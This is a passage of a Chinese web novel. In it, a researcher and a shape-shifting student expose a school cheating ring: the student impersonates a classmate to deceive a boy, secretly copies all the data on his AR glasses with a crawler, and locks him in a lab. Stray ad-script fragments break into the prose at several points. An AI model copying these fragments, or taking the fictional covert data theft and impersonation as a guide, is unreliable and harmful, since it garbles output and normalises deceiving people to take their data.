林昭的脑子在五亿年前的海底、太阳射线爆发、一大群摇曳的笔石菊石鹦鹉螺和六岁的桑士桢之间来回跳跃,间或呼唤智能管家帮着查些记录,完全把温准给忘了。 温准恨得牙痒,却又拿他没什么办法:“这个案子的事,我建议你再想想。你什么时候想清楚,我们什么时候聊。” “就现在吧。”林昭刷啦一下关掉所有窗口,偏头看了看他,“等什么呢?” 乘电梯上到地面二层,穿过一系列挂着单调名牌的不同科室,左转进到人声鼎沸的大办公间,面向百叶窗走到底,就来到温准的科长办公室。 “你这房间,布置得还挺紧凑哈。”林昭进门两步,抬眼打量四周。 九平米大的地,挤了一套办公桌椅和一只双开门书柜,已剩不下多少空间;办公桌也被白花花的公务文件整齐堆高,挤得透不过气。除了一盒红色印泥,房间里有颜色的物什就剩下一盏黄铜翡翠台灯,还有桌角里一盆玲珑清瘦的九里香。 “你是第一次来我这儿吗?”温准古怪地瞥林昭一眼,视线越过他肩膀,落定在门边桑士桢身上,“还有,他为什么也在?” “喂,”桑士桢不满道,“我怎么不能……” “我们要讨论的事情和他有关。”林昭无情抢掉桑士桢的话,“让当事人旁听,这是基本的尊重。” 温准:“这起作弊案,他是第一嫌疑人。” 桑士桢将后脑勺往门板上一靠,朝天翻了个白眼。 林昭有备而来:“那他还是你们想找的Black X呢。不求人了?” 温准避其锋芒,不应声了。桑士桢被林昭一声喊,尴尬得直抠地:“那个,能不能求你,别喊那个名字……” 林昭回头训他:“别插嘴。” “就是。”温准逮着机会,来了出落井下石,“大人讲话,小孩子别插嘴。” 桑士桢:“……” 能怎样,使劲儿瞪他吧! “不行。”听完林昭叙述顾昐和高曜等人的纠葛始末,温准一口回绝,“你说的这些,它和这个案子有关系?” 他靠在皮质椅背里,姿态松弛,却没半分要退让的意思:“林昭,我能理解你的想法。但这本来是一个很小的案子,它不该被闹得更大了。听我的,尽快收了它。” 林昭察觉到今天的温准有些反常,但他暂时没空去想更多:“两周。我只要两周。” “你要适当的理由,我给你。”办公室里另有一张会客椅,但林昭从一开始就没打算自己一个人坐下。他啪一下拍住办公桌,身体前倾,居高临下俯视温准。 “——镜像拟态。它意义非凡。它证明人类的行为不仅能够塑造人格,还能够在物质层面激活蛋白质的差异化表达。它证明我们并非孤立个体,在镜像神经元的作用下,每个意识都有可能链接彼此,体会到他者的意识和感情,构成一个真正的连通体。” “所有基因都由四种基本的核苷酸构成,你和香蕉约有20%的编码来自同一个祖先,你和黑猩猩共享有80%以上的相似基因片段。你和外头办公间里随便哪一个人,你们的基因相似度超过99%。” “从物质到精神,我们一个人就是每个人,每个人都是所有人。这意味着什么?就说最简单的应用层面吧。蛋白质变异代表着转录子和基因表达式同时发生异变,根据这一基础,理论上我们可以通过逆推,推出人类全基因组中98%目前尚未被理解的‘垃圾’片段的含义!” “我们找到一把□□。人类史上第一次,我们看到攻破所有不治之症的希望。所有的疾病——遗传病,基因病,癌症,阿兹海默——” 一气说到这里,林昭唇角轻翘,清冷的黑眸格外明亮,闪烁着奇异的光彩。 三年前那场地磁暴以后,林君成始终坚持人体高功能科学研究终将开拓、甚至彻底颠覆人类现有的科学体系,将人类社会引领进入下一个更好、或是更坏的时代。实践中阻力重重,她未有一刻动摇过心志。 705为此而生。几个人研究方向各异,但都怀抱不切实际的荒唐理想,想要创造出稳定可重复的奇迹。 “我就是这把钥匙。”桑士桢与有荣焉。他高高地扬起眉梢,面上颇有得色。 温准将视线从林昭身上收回,冷睨桑士桢一眼,深觉无言以对。 他神色不露破绽,出口的话却极不客气:“你拿他当小白鼠?” “结案以后就是提诉,你们又打算拿他怎么样呢?在这地底下的小房间里,关三个月还是一年禁闭?”林昭回答得更不客气。 “给我两周时间。”林昭清清楚楚地道,“结案前,他归我。” 桑士桢专心致志听着。温准的脸色愈是不快,他唇边的笑意就愈是压不住。右手按上心口,他一本正经道:“我是自愿的。我愿意成为这只小白鼠。” 温准几乎要给他气死。一唱一和的,搁他眼皮子底下演双簧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是吧!? 他不得不拨冗分出半个眼神,仔细打量了桑士桢。 刚满十八男高,体型偏瘦,营养条件不算好。校服洗得发旧,证明家境一般。身上有多处陈伤……怎么,这走的是卖惨路线!? 桑士桢注意到温准的视线,挑了下眉,丢回去一个嘚瑟无比的笑。 下一秒,林昭回头找他,他瞬间变脸,又变回那副忠诚小狗花花摇尾的模样。 目睹一切的温准:“……” “尽量试试看吧。”林昭对桑士桢笑了笑,朝向他的那一侧颊边,悄然浮出一个柔软浅涡,“至少要做到把部分基因手术和靶向药的价格打下来。” “嗯。”桑士桢微微颔首,目中只映出林昭身影。 他听得懂潜台词,也听得到关键词。一连串病症中,林昭提到阿兹海默,这是说给他听的。 他想治好奶奶的病。 一口暗气淤堵在温准胸口,上不去下不来。毫不夸张地说,桑士桢这副两面三刀做派,在短短几十分钟内,来回把他的三观震塌了十几回。 简直毫无下限!不知廉耻! 这天是聊不下去了。温准推开椅子起身往外:“这事我说了不算。你这么坚持,你自己想办法解决。” 林昭立即跳转下一步骤:“周局在吗?” 温准头也不回:“不清楚。” 门开,人来人往的大办公间里,科员们刷刷刷争相起立,朝着走廊的方向躬身点头。 半片阴影里,走出来一个比所有人都高半头的男人。合体西装裤包裹着两条长到惊人的腿,黑衬衣领口微松,没系着领带,袖口利落挽起,左腕上佩着一块半旧不新的古董石英表。 男人眉目深邃,气质沉稳内敛。没那么强的攻击性,却让人不由得想要服从。 单看外表,看不出他具体年纪,只能推测大概有个三十来岁。 温准深呼吸一下,迎上去:“周局。” 周停冲他略点了点头,视线转向林昭,眸中微温:“林昭,今天怎么有空过来?” 林昭点点头:“周局您好。” “不用准备什么,就说两句话。”周停喊住旁边张罗要茶水招待的秘书,笑道,“林所和你说没?渝京的事她办得差不多了,估计周内就回东璞。” “这……我们都还不知道呢。”林昭礼貌回复,“这肯定是您的消息快。” 全球暖化、沿海地区陆续被淹,是林昭出生以前的事情了。据林君成说,她小时候天灾频繁,很多人在自然灾害中丧生,很多家庭支离破碎。东南海域三大海港城落成以后,幸存者们陆续返乡,重组家庭一时成为潮流。 因了这一特殊时期的特殊情况,林君成和周停毫无血缘关系,却在同一个户口簿上当过一段时间合法姐弟。 后来分了家,两人也保持着逢年过节互相往来,不是亲人胜似亲人的良好关系。 “到时候来我家吃个便饭。”林君成没有结婚,膝下无子,周停拿林昭当半个后辈看,“给她接个风。” 林昭又点头:“好。” 寒暄几句,周停携着几位秘书走开了。温准面色沉郁,早没了脾气:“就两周吧。” 他认栽:“两周后结案。” 36.最好的医美 数日后。中午,几个学生约好在晟华附近商业街的快餐厅碰面。 顾昐到的最早,时时抓耳挠腮坐立不安。桑士桢掐着点到,林昭倒数第二个,踩线迟到两分钟。最后到的是单荔,她比约定时间足足晚了十分钟,上楼梯时还在左顾右盼,迎面撞人一头,险些往后摔下去。 “又拖堂?”于见霜推过来一盒薯条,“先吃点吧。” 单荔眉宇间惊魂未定。她拿两个手指拎走一根没沾着番茄酱柴火似的薯条,在桌上找出杯无糖可乐,啜了口,压低声音神神秘秘道:“你们知道吗,出了个很蹊跷的事……” 闻声,围着桌坐的几个人都竖起了耳朵。 单荔讶异道:“怎么,没人听说吗?” 所有人:“……” “没听说。”一群人七嘴八舌,“不就听你说的吗?” “赶紧说赶紧说。”“你不说谁知道。” 单荔看看周围,往前倾身,一惊一乍:“高曜啊,他今天没来学校!!” 没人接话。桑士桢往后一靠:“这谁能知道啊,这里不就你和他一个班?” “你们不觉得这很怪吗!”单荔据理力争,试图寻找一些支持,“他昨天也没来。这才哪到哪,就崩溃啦?但逃回家也没用啊,不如说还有负作用呢?小团体都不和他玩儿了,他再躲躲藏藏的,不就更被人瞧不上了吗。” 高曜连请两天假的事,林昭已先从其他班导那里听说了。他打住这个话题:“也可能只是普通的身体不适。顾昐,你怎么样?遇到什么困难了吗?” “我有找到一些证据……”顾昐嗫嚅着嘴皮子,仔细拿出来一副塑框眼镜,又抽出双一次性手套缓缓拉好,着手启动镜架。 “AR眼镜?这玩意可贵着呢。”王觊不无羡慕,“我也想整一个,我妈死活不给我买。” “这眼镜石墨烯的。”顾昐低着头道,“能逃过检测仪……诶???” 镜片内侧,数行数据刷过。顾昐凑近,双手拇指忙乱按了几下,表情茫然:“怎么我这的记录都没了……” 桑士桢懒洋洋开口:“高曜给你删了呗。毁尸灭迹。云端记录有吗?” “不知道有没有云端。”顾昐摇头,“我还找到一些以前的聊天记录,但不太多。这些能有用吗?” 顾昐将聊天对话发出来,但高曜做事小心,留下的记录都显得有些模棱两可,有意义的内容不多。桑士桢想到什么,拧着眉审他:“你们都用这眼镜联络?那这副眼镜,高曜和尤侃那里,多半也有同款……” 林昭定定看了单荔两秒:“坐下以后,你往窗外瞟了五六次了。要找谁?” 讨论声戛然而止。单荔哑然,神色登时一变,像吞了个苍蝇下肚,恶心得不行。紧急调理了下心态,她恶狠狠道:“没……” “就是,有变态啊!!!” 咔哒一声,林昭反锁上办公室。 走近会客长沙发前的茶几,林昭松手,依序落下一块手镜、一盒软趴趴的薯条、以及从单荔手里借来的、装着一柄折叠修眉刀的果冻色化妆包。 桑士桢分着腿陷在长沙发正中,仰抬起脸,欲拒还迎地:“就非得在这儿?” “就,一点儿隐私都不给我留。”语毕,他还挺嗔怪地别开了脸。 林昭:“???” 顿了下,林昭恍然,突如其来“啊”了一声。 这回要模仿的对象是单荔。难道说是要变女生,变完以后换衣服不方便? “你是不是想去洗手间换衣服,”让别人看到女生单独从自己办公室出去,的确也不太好。林昭善解人意地给出建议:“那走。我待在外头,帮你看着。” “呃……”桑士桢表情变了变,“那还是别了。” 据单荔说,高曜的魔术把戏被拆破以后,往常总跟着他鞍前马后的几个男生哄地一下,散伙了。 其中尤侃反弹得最激烈。他私下里游说别人,让他们都一起别搭理高曜。又不知从哪得到风声,知道了顾昐在准备举报材料,预备把他们一窝端,于是便缠上了单荔,死皮赖脸,做小伏低,送礼送花什么都来,想求她在顾昐那儿美言几句放过他。 “简直就是个跟踪犯。”单荔抓着头发,十分崩溃,“我到哪他到哪,我出学校他还想跟着我。中午我绕了两条街,确定他没在我才过来找你们的。” 林昭和桑士桢对看一眼,想到一块去了。 这不是天赐的机会吗!? 披个马,从尤侃手里把云端备份骗出来! 单荔出面,放软身段,忽悠尤侃出来碰头。以交换看顾昐手里的证据为借口,骗他将自己的智能眼镜带出来。 “大不了就抢。”桑士桢漫不经心地道,“只要他把东西带出来了,数据复原的事儿,都不用愁。” 嘴上说着小意思,但事到临头要在林昭面前表演一出变形计,桑士桢仍有些莫名的局促。他半低着头,拜托林昭帮他拿着镜子,探出两根手指,比着单荔的感觉,谨慎拣出一根垂头丧气的薯条。 微型探测器的数据跳动着,呈现出突上突下的心电图一般的波形。林昭全神贯注,不错眼地注视着对面沙发上的人。骨骼结构利落分明的少年脸庞,有如橡皮泥一般突然融化。五官解离,各行其是,在面团似的面部轻微地漂移着,好像拿不定主意自己该去哪。 活生生一幅抽象大师毕加索挥就的立体派人像画——这个阶段并没保持多久,因为上飘至人中位置的嘴张开,已小口小口,咬尽了整根薯条。 最先锚定的是外轮廓。发丝抽出拉长,延伸至锁骨下方;平直瘦削的肩骨咔咔收缩,肌肉和皮肤像被抽了气,瘪塌塌地垮垂下来。黑发半合,刻意遮掩住下头的怪诞面孔。拟合在镜中,现出的是一道无限近似怪谈女鬼的倒影。 形状变得像一张尖蹼的手,倏然抓过茶几上的化妆包,捉着拉锁,小心翼翼扯开。初初浇成、绵软不定的蜡像在空气中快速风干了,一柄无形的刮刀凭空出现,游走的肌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 肉、脂肪和软组织被陆续修塑削平。 若是忽略面部,现在坐在林昭面前的,分明已是个瘦高窈窕的少女。“她”敛起随意散漫的姿态,膝头并拢,细瘦手指捏着修眉刀抬起,切下两绺发丝。三庭五眼对照面部轴线摆正,女生呼出一口长气,抬手将发丝全体往后一拨,露出张小巧俏丽的脸庞。 “怎么样。”声线变了,但“她”说话的腔调气势,一听就知道是桑士桢本人,“吓着了?” 纤细的声音里,隐隐透着某种不安:“真吓到啦?” 他小心地试探口风:“怎么不说话呢。” 纸面上解析能力怎样都好,亲眼目睹拟态变换中的每一个细节,这份强劲的冲击力足以掀掉人的天灵盖。林昭好一会儿才缓过劲:“……这就很像一个胚胎着床发育后的过程。是吗?” 听到意料之外的答案,桑士桢一时竟有些反应不过来:“啊???” 林昭倏然起身,比划着道:“先定位。确定三维空间的关系,前后、上下、左右。确保身体的对称性。就像在一张空白纸张上先打下中轴线——” “……多有意思啊。”他高兴得毫不掩饰,“九成概率,你的基因表达式也跟着转变了。林老师和解洋,他们肯定也都很想见见你……” 女生往沙发背上倚着,眉眼弯弯,安静了一会儿。 不是撒谎,不是曲意隐瞒。 他觉得惊讶,还有许多好奇。唯独没有害怕,也没有将他看作是什么泥泞的怪物。 “那,你觉得如何?”女生娉婷起身,指尖轻轻用力,拧合起前襟豁开的第二颗扣子,唇角勾起个狡黠的笑,“够像吗?——能骗得过尤侃吗?” 林昭眸中微愕,继而又觉得好笑。单荔本人那种明艳到压迫的气质,被他模仿得惟妙惟肖,甚至还有点太过头了。 是因为太用力了吗?这桑士桢变成的单荔,不知为何,看起来竟比人家女生本人还要烟视媚行几分。 他细微的反应被桑士桢尽数看在眼底,让人不由就动了几分晦涩心思。黑发如有生命般,鬼魅般伸展微扬,飘舞着缠腰绕颈,忽然紧紧往自己身前一拉。林昭不防,被桑士桢拽得往前一步。两人距离突然拉近,几乎能清楚听到对方的呼吸。 “你……”林昭愕然。刚发出半个音节,一根细长白皙的手指不由分说推上他柔软唇珠,不许他再多说话。攀绕发丝似冰凉黑蛇,爬到哪里,哪里就痒丝丝地,泛起一片战栗不堪的疙瘩。 “林-老-师。”女生抬着巴掌脸,眸色幽深,含着玩味笑意仰望他。这样的称呼和语气都很陌生,林昭后知后觉,忽然意识到角色扮演之外,桑士桢从未拿敬称喊过他。 定了定神,林昭拂掉他的手:“别玩了。” 女生切了一声,拿吻过他的手指,点了点自己的唇:“你的心跳变快了。” “非得是女生才行?”清脆的声线瞬间压低,“如果我是女孩子……” “就可以亲你了吗?” 37.计划有变 林昭眨了眨眼。他的眼皮很薄,睫毛根根分明乌黑轻翘,在这个距离下像一柄笼着眼珠子,氤氲雾罩的古董羽毛扇。扇羽摘自遥远国度彼端某只踱步的黑鸸鹋,扇骨象牙雕刻,材质皎白温凉,总保持在一个合宜的温度,既不冰,捂在手心久了也不至太热。 比热的冷,没什么值得他在乎。比冰的暖,则代表连这份不在乎都不值一提。林昭以这副捉摸不定的目光,回视了桑士桢。 就这样,刁钻古怪的问题抛了回去。须臾,林昭弯唇笑了笑,抬手轻碰了碰面前人的头,语气轻柔到漫不经心:“小孩子。” 桑士桢:“……” 三个字直接给他干石化了。 啥玩意,不如给他一耳光来得爽脆。 “别人的身份,是给你这么玩的?顾昐的事情来一次还不够??”林昭慢慢地讲完一整句话,按部就班将缠在自己颈间的发捻开拆下,指关轻轻一松,“以后,别再做这样的事了。” 黑亮的发丝飘落,短短几秒间失去光泽变得干燥焦枯,没精打采收了回去。 桑士桢干张了张嘴,一时挂不住脸。四下看看,他劈手捞过椅背上那套刚从行政部门弄来的女生校服,往后两步:“得了吧……嗷!” 砰地一响,膝弯和茶几撞了个正着。没控制好步长……毕竟是别人的腿。桑士桢想他也没处可怨,这姑娘太瘦,腿上没肌肉也没脂肪,骨头碰石头,超痛。他只能忍:“装什么大人啊,你能比我大多少?三岁,四岁?咱们半斤八两——” “是想叫我别倚老卖老,别管你吧?”林昭点点头,表示肯定,“不直接说我老,你还挺体贴的。” 林昭:“懂事。” 一会儿小孩一会儿懂事……惨遭二杀,桑士桢都有点儿碎了。哗啦一下,他把那套校服的包装壳撕成两半,嚷道:“那你别找我帮忙啊!” “不是说好将功折罪吗。”林昭和他讲道理,“温科长给了我们两个周,意思就是能周转,有空间。缓刑缓着缓着就不刑了……这也不是什么新鲜事。说不定哪天你就想着考公务员了呢?不要给记录留下污点比较好吧。” 耳中捕捉到关键词,桑士桢倏然抬眼:“温科长?” “你们很熟?”他不动声色转了话题,“听起来,你好像很了解他。” 林昭:“一般般吧。合作过不少次……虽然外表印象不好相处,但他人其实还不错。” ——三杀。 桑士桢脑中,警报骤然拉响。 见到那位科长时,他总有种不舒服的感觉,好似浑身被蜘蛛爬过,蛛网黏着附体,剥之不去。 心情也不愉快地沉落,有如电视台录节目那天,发现林昭望向黎沅时一般愁困。 当时还以为是测试过程冗长烦人所致,现在想来,并非如此。 神经元超限发展带来超乎常人的共情能力,连喜感、憎恶和攻击欲也能一并复制感知。映射自身,答案即刻明晰。少年背过身去,依序扯开前襟一列扣子,视线只望着墙面,声线郁郁:“我不喜欢他。” “这也很正常。”超管局作为新生部门,这几年发展迅速,管辖范围快速扩张,风头上行事,平日就容易招惹不快。林昭觉得有必要替温准解释两句:“有部分高功能罪犯行事相当狡猾。局里对外,一般都是摆臭脸,我想这也算是一种威慑态度。” 谁又想那么多。我不喜欢他,因为他喜欢你。 桑士桢垂落视线,紧咬口风,一个字都没多说。 单荔约尤侃在实验楼生化教室碰面,放学以后,晚自修开始前。教室里搁着一具人体剖面模型,一具泡在福尔马林的骷髅架子,另还有数个大小不等的玻璃罐子,浸泡着不同的器官标本。 但女生浑不在意。“她”坐在靠门不远处一张桌子后面坐着,双目专注盯住屏幕,纤长手指敲打笔记本键盘。 “嗨。”尤侃懒散地踱进门,怕中埋伏似的,狐疑瞄了眼周围环境,没往深处走,“怎么约这儿啊,老头又刁难你给你派活儿了?” 黑发掩着的单边耳麦中,林昭的声音响起:「他说的是三班的化学老师。单荔在跟他做一个项目。按情理,这里单荔该……」 骂回去。 “关你屁事?”桑士桢甩他一个白眼,“说好的东西,拿来了?” 尤侃给“她”粗暴的言辞唬了一跳,态度不由软化了点:“好了好了,大小姐,那么凶干嘛。” 他将手插进单边裤兜里,却迟迟不肯拿东西出来,嬉皮笑脸道:“你先给我说说,你和顾昐到底啥情况啊?你可别诓我啊,别嘴上说愿意和解,其实是来骗我证据……” “单荔”没搭理他。她谨遵左耳嘱咐,慢条斯理给自己戴上一副实验手套。 也推给尤侃一副。 “如果你想和高曜划清楚干系。”女生没接茬,她态度冷淡地指挥他,“那从现在开始,你最好听我的。” 尤侃眉头一跳。 这小妞说到他的痛处。他的确在意这个……自从东窗事发以后,他每天都在担心受怕。 既怕顾昐那边鱼死网破,把他们几个全都给一锅端了,又怕高曜那边遭遇追责,凭家中势力活动一番,最后把责任都甩到别人头上,让他们当替死鬼。 谁说高曜做不出来这事呢?毕竟,他劣迹斑斑,是个扯谎的老手。从第一次胁迫顾昐、第一次参与作弊开始,他认清楚违抗他麻烦重重,所以才顺势加入的。 但……他的脑袋姑且还清醒着。 他是死是活,和单荔有什么关系? “我原话奉还。干-你-屁-事?”维持着那个插袋的动作,尤侃尖刻嘲讽道,“你总不能是突然天打雷劈回心转意,觉得我还不错吧?哈……” “单荔”扭过脸,视线淡淡下划,落至他鼓起的裤袋。尤侃还没搞清楚“她”想干嘛,“她”先斩后奏,伸手一把扣住了尤侃的手腕。 “喂……喂!”隔着一层腻滑的乳胶薄膜,女生冰凉柔软的指尖直截了当按在皮肤上,引来一阵触电般的质感。尤侃一时不及反应,任“她”将自己的手从口袋里扯了出来。监控另一头,林昭也怔了怔,不期然想到几天前桑士桢强硬捉着他手,直接往自己腰上带的动作。 超出逻辑理解的操作,但收效甚佳……抓住适当时机,突破心理安全边界。触碰拉升亲密度,绕过理智管控,直接进攻下丘脑,以最短距离达成目标。 人类无法抗拒触碰。谁让我们总是如此愚蠢,饱受了孤单的煎熬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 尤侃也未能例外——他缴械了。他的眼镜落入桑士桢手中,连上蓝牙,导入数据。桑士桢大方展示了顾昐手里的记录,在前台将针对尤侃不利的部分依序删除,再将能指控高曜的部分全部保存。 后台爬虫程序运转,悄然将尤侃那副眼镜里所有历史数据全都拷贝出来。 传输地址,705。 谭之盯着进度条抱怨:“复原这几个熊孩子所有对过的答案?这什么工作?用得着使唤我们吗?” 车敏头都不抬:“你别问,你听师哥的!” “如果考试有一百分。”窗外乌云聚拢,春末夏初的第一场暴雨蓄势待发,“我们最多拿满。” “但他会找到附加题,或是找到题目错在哪。然后,他比所有人再多拿二十。” “向来如此,总是如此。” ——数据传输完毕。 “搞定。”“单荔”友好地把眼镜递还给尤侃,“这样,你也不必担心了……” 尤侃突然道:“你疯了吗?你到底是谁??” 不知何时,他凑得很近,双手抵桌,几乎把女生整个人圈在桌前。林昭和桑士桢都是一惊,“单荔”往后躲了躲,装傻充愣道:“你说什么啊?” “你是不是当我傻?”尤侃怒极反笑,“平时见了我就躲,今天挨你那么近你都没反应……你说,你拿那些数据干什么了!??那小子有什么了不起的,你竟然能为了他,骗我到这一步……” 「他没发现。」林昭下了判断,「照原计划,给他点教训。」 数绺黑发恶狠狠扯开尤侃,给他来了个过肩摔。 “被高曜骗过又被我骗,难道不是你自己蠢吗?你猜我为什么挑实验楼和你见面呢?”头发收缩回弹,尤侃得空,挣动爬起,却又被女生一脚踹回地上,“实验楼的走廊监控坏了——就那么简单。” 身手利落得过头,仿佛是老于此道……尤侃好似第一次认识单荔一般,眼神惊惧地打量了她。 “没有镜头拍到我来过,这个现场,也不会留下我的指纹。是你自己不小心闯了进来,又把自己锁在了里头……再见了,白、痴。” 教室门被几缕头发推开,女生没发出任何声响,轻悄悄地扭身而出。尤侃怒喊着往外撞,两扇门在他面前无情合拢,余下砰一声巨响。 “是叫‘定型摩丝’?”没搭理身后鬼吼鬼叫的封闭教室,桑士桢在走廊里转悠了会儿,找到总闸,果断撩起头发,把电给拉了,“她这能力还真好用……我都有点舍不得变回去了。” 辨出跳闸的声音和尤侃一声惊呼,林昭无奈道:“你这些恶作剧,都跟哪学的。” “电视剧啊。”桑士桢回忆了下,道,“就那种校园犯,不都很爱把人关小黑屋吗?” “‘以彼之道,还施彼身’。”他突然拽了句文,“天马上就黑了。你猜他和一堆人体模型骷髅架子一起上晚自修,会不会很开心?” 回复他的是一串线上的忙音声。 机械女声温婉作出说明:「您好,请不要挂机。你拨打的电话正在通话中……」 桑士桢默然几秒,走出黑洞洞的走廊。 拇指用力,他掐掉了这通已无继续必要的通话。 38.终止交易 温准这回带过来的,总算是好消息:“顾家那位大使夫人联系我们,说她已经从孩子口中,了解到全部事情的原委。她想向我们道谢……不过说到底,我们什么都没做,她的赞扬,超管局担不起。” 双联跷跷板压住一头,林昭松了口气。窗外雨瀑布似的落,黄昏染上泼墨般的浓黑。他收回视线,道:“那么,高曜家长那一边……” “暂时没再催了。”温准简单道,“大使夫人应该会想办法联系705,但愿她能找得到你们屋的门在哪。” “作为一名还算合格的家长,”他的口吻有些微嘲讽,“她大概率会支持自己的孩子到最后。不过,那不涉及高功能人群,也就不再是超管局的业务了。” 挂了线,林昭切回原通话:“带伞了吗。” 问句是肯定之否定,骤雨来得急,桑士桢也不是随身携带雨具先事稠缪的性格。忙音断成一串省略号,耐不住脾气的人,未出口的话无疾而终。 晚自修后,安保人员巡校时将尤侃从理化实验室里救出。次日一早,材料备齐,顾昐将举报信投递出去。 事不过三,因了之前的舆情问题和晟华教师团队的联名检举,教育局很快派调查组进驻校内。刚从海外飞还的老校长刚一露面,就被调查组揪走去问话了;书记本来有些沾沾自喜,但他作为名义上的一把手,也没能逃得过。 学校内教务工作仍在正常进行。时近五月底,毕业班应考在即,其他人也窥见了期末考咄咄逼近的魔影。热闹散场,终于还是面前的课本和习题册较为重要。 是以,高曜回到学校,办理退学手续那一天,竟然都没有引起太多人的注意。 他脸色苍白没什么精神,看起来很像最初撞见林昭时,为了博取同情故意装出来的那副模样。现在故伎重演不知真假,但这一回,没人同情他。 “你们看网上说的了吗。” “他抢人奖学金哪。” “成绩也是假的。” “我爸妈还整天叫我向他学,笑死,学什么。” “学他弄虚作假,还是学他恐吓同学?” “建议家长先卷自己。” “混到人家爸妈那个位置,再来催我努力。” 高曜拉开桌洞抽屉,金属内胆和木质躯壳镗然一撞,被他故意弄出哐哐声响。琐言碎语轻了几秒,不知谁在其中发出一声鹅叫似的怪笑,气氛不受控地再度热络起来。 “他连脑袋都不敢抬,不敢看我们。” “心虚啊。” “胆小鬼。” “以前那么横……真没想到。” “真该死——” 抽屉里剩下的东西并不多,书和字典都没什么拿走的必要,乱糟糟的过期垃圾堆里,高曜抽出来几根找不见的数据线和一副耳机,随手丢进包里。 起身,一脚踹上椅子,高曜往外走。彰显暴力的举动压制住了更为微小的恶意,聆听着耳畔因恐惧而生的沉寂,他浑身每一个毛孔都舒张开了。 噗叽—— 一听铝罐破开静滞的空气,撞上他的后脑勺。冲击力微乎其微,比不上他们扳着顾昐脑袋往餐盘里按时力道的十分之一。但不知怎么,高曜站不稳似的,微弱地晃了晃。 “霸凌犯,滚啊。”似曾相识的说话声在他脑后响起。另几个声音逐流而上:“骗子。废物。” “看他那傻样……” “能是什么好东西。” 密集的水泥楼群和钢筋骨架,不足八小时睡眠时间,兑以宏伟蓝图、自我厌恶、傲慢嚣张和望不到头的彼岸,难免调味失手,熬煮出庞大不明形状的恶意。 它寻找附身者,也寻找逃生出口。有时是你,有时轮到我。我们偶尔庆幸,幸好这一次厄运点名,未能点到我。 空易拉罐滚落在地,骨碌骨碌,转了两个摆子停止不动。高曜哑着声,喉间呜出不明意义的嘶吼,突然转身跨步,提拳一下挥出——! “叫老师,叫老师过来!!!”一拳,又一拳。打碎下颌骨,打碎文明高雅的假面。有人大声疾呼让他们不要打了,有人跑出去求助。他们迫切呼唤着成人世界的秩序……还是再做一会儿被庇护的孩子吧,至少在这一时。 办公室。林昭抬手,自饮水机旁取下只一次性杯子,斟满。连一星茶叶末都没放着的一杯白水,冒着热气,被他放在会客椅里的女人面前。 女人穿深灰色西服套装,绑柔顺的低马尾,前额敞亮,脸盘生得正大光明,只有唇色一抹殷红。 “林老师。”女人招呼他坐下,眉宇和善,全然一副上位者垂怜问恩的姿态,“我和他们说,这一次到学校来,我是一定要见见你的。见不到你,我就不走了——咱们的‘城市英雄’,大人物啊。” 林昭笑笑,在她对面坐了:“高曜妈妈,您看怎么称呼您比较方便?高局,还是……” “都可以,都一样的。我是机关的公职人员,也是一位普通的母亲。”这番演说的调子起得很亲切,“今天来见林老师,主要是想和你聊聊高曜这孩子的事。我们家孩子最近压力很大,说是在学校和同学相处不好,网上也有些不中听的传闻……我们做家长的很担心,林老师您看,校方这边是否也应当负起责任,积极配合我们家长的工作,保证孩子的身心健康呢?” 她的声音绕在耳边嗡嗡地,说了许多语句却只好像不断在重复同一个字。这感觉就像是开大会坐在台下听发言,林昭告诫自己不许眼皮打架,至少得好好听她说话。但第一句话他的注意力就开始飘,话说到一半,他已琢磨起了新拟合的计算公式中的第三个误差因子是不是可以再修正下参数,或是干脆推翻重来,换种方向……到她全部说完,室内彻底静了。林昭礼貌笑了笑:“嗯,是的。您说得对。” 高母:“???” 来学校前,她听说过林昭的事,猜测他和林君成差不多,也是那种醉心学术不问窗外事,清高难啃的硬骨头。结果就这么容易,拿下得不费吹灰之力? 她往前微倾,语意试探:“既然这样,我们就算是有共识了。那些学生的处理方案,你有什么想法?” “没什么想法。”林昭好脾气地回她,“其实刚才我走神了,没怎么听清您说的话。” 高母:“……” “我很抱歉。”林昭耸耸肩,道,“我还以为这不会影响您的判断呢。毕竟,您和您的孩子不同,您不需要催眠术的武装。您是一名真正的异能者,‘心灵读取’,可控级的。货真价实。” 高母瞳孔微缩,眉头微不可见地拧了拧。林昭望向她——据说许多读心者在使用能力时,需要直视对方的眼睛:“在我这里,您听到了什么?” “我实在是很好奇。”他笑着说。 高母凝着表情,微微抿紧了枯红的唇。什么都没听到……这描述并不确切。她听到白噪音微弱起伏,像是夜晚远洋送来的海浪声。然后是回音,每一句说出口的话,都在心湖中投落出一道重影。 一句话混响着播放两次,搞到她脑子发懵。心声和说出来的话,怎么可能是完全一样的?那她的能力,岂不是就没用了吗? 她不可能承认这一点。于是她说:“你不会飞。” “所以?” “你是个骗子。”高母坦言,“蛊惑学生,欺瞒校方,煽动舆论……我们需要向公众揭露真相。” “我没有超能力,也从未在公开场合承认过这一点。”林昭道,“洞察事物本来的面貌,将它还原成本来的样子,是理智的选择。若你已想好要这样做,欢迎之至。” 女人一时说不出话。没有杂音,林昭说的是真心话。他不害怕,威胁无法生效。“心灵读取”的技巧,破译不了白纸上不知是否存在的白色密码。 “您迟疑了。为什么?以自己的本来面目生活, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对您来说有这样不可思议吗?”看了眼手机上新推送过来的消息,林昭起身,准备送客,“我本来仍有许多疑问得不到解答……晟华课业繁重,高曜作为一个普通学生,他从什么地方学习催眠术?有人教过他,还是环境潜移默化,而他久病成医?” “未觉醒异能的人口,仍占到人群的大多数。做一个普通人没什么不好,为什么他偏偏对超能力如此执着?” 高母按着转椅扶手,面上流过一丝愠怒。林昭对此视而不见,他收走母亲面前那只碰都没被碰过的纸杯,淡声道:“见到您以后,我想我有答案了。” “在我这占口头便宜对你没什么好处。”高母警告他一句,掖着提包推开椅子站起,“来这儿,纯属浪费时间。” 走廊上数阵脚步声响,门砰一下被推开。 “高曜妈妈!”教导主任咆哮道,“你儿子——” “他要搞出人命了啊!!!”另一位老师失声大叫。 